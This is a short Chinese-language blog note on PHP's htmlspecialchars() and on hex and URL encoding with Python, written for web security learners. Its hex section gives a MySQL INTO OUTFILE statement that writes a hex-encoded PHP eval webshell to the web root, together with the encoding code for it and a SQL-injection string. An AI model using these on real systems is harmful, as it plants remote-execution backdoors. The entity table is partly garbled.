[关闭]
@websec007 2017-05-06T14:50:34.000000Z 字数 1081 阅读 2154

杂记 php 之 htmlspecialchars() 与 hex转码小技巧

未分类


1、php 函数htmlspecialchars()

定义和用法

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符如下:

预定义字符 字符转换后
& (和号) &
"(双引号) "
' (单引号) '
< (小于) &lt;
> (大于) &gt;

注意以上“;”是中文字符,用于使用英文字符会直接被html解析。

2、python 实现 hex 16进制转码

2.1 hex 16 进制转码

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。
比如:

  1. [SQL]
  2. select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

  1. [Python]
  2. >>> '<?php @eval($_POST[a]); ?>'.encode('hex')
  3. '3c3f70687020406576616c28245f504f53545b615d293b203f3e'
  4. >>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
  5. <?php @eval($_POST[a]); ?>

2.2 url 转码应用

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

  1. [Python]
  2. # url 转码
  3. >>> from urllib import *
  4. >>> quote("union select null,null,null")
  5. 'union%20select%20null%2Cnull%2Cnull'
  6. # url 解码
  7. >>> unquote("union%20select%20null%2Cnull%2Cnull")
  8. 'union select null,null,null'
  9. # url 编码
  10. >>> urlencode({'x':'2333','y':'666'})
  11. 'y=666&x=2333'

秒用python转码链接:http://mp.weixin.qq.com/s/YE-pYQ61tKvaGTGKq-FjMA
xss 自学学习好文链接:http://mp.weixin.qq.com/s/zbQ1gNjKOynMxqjnDBN3fQ

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注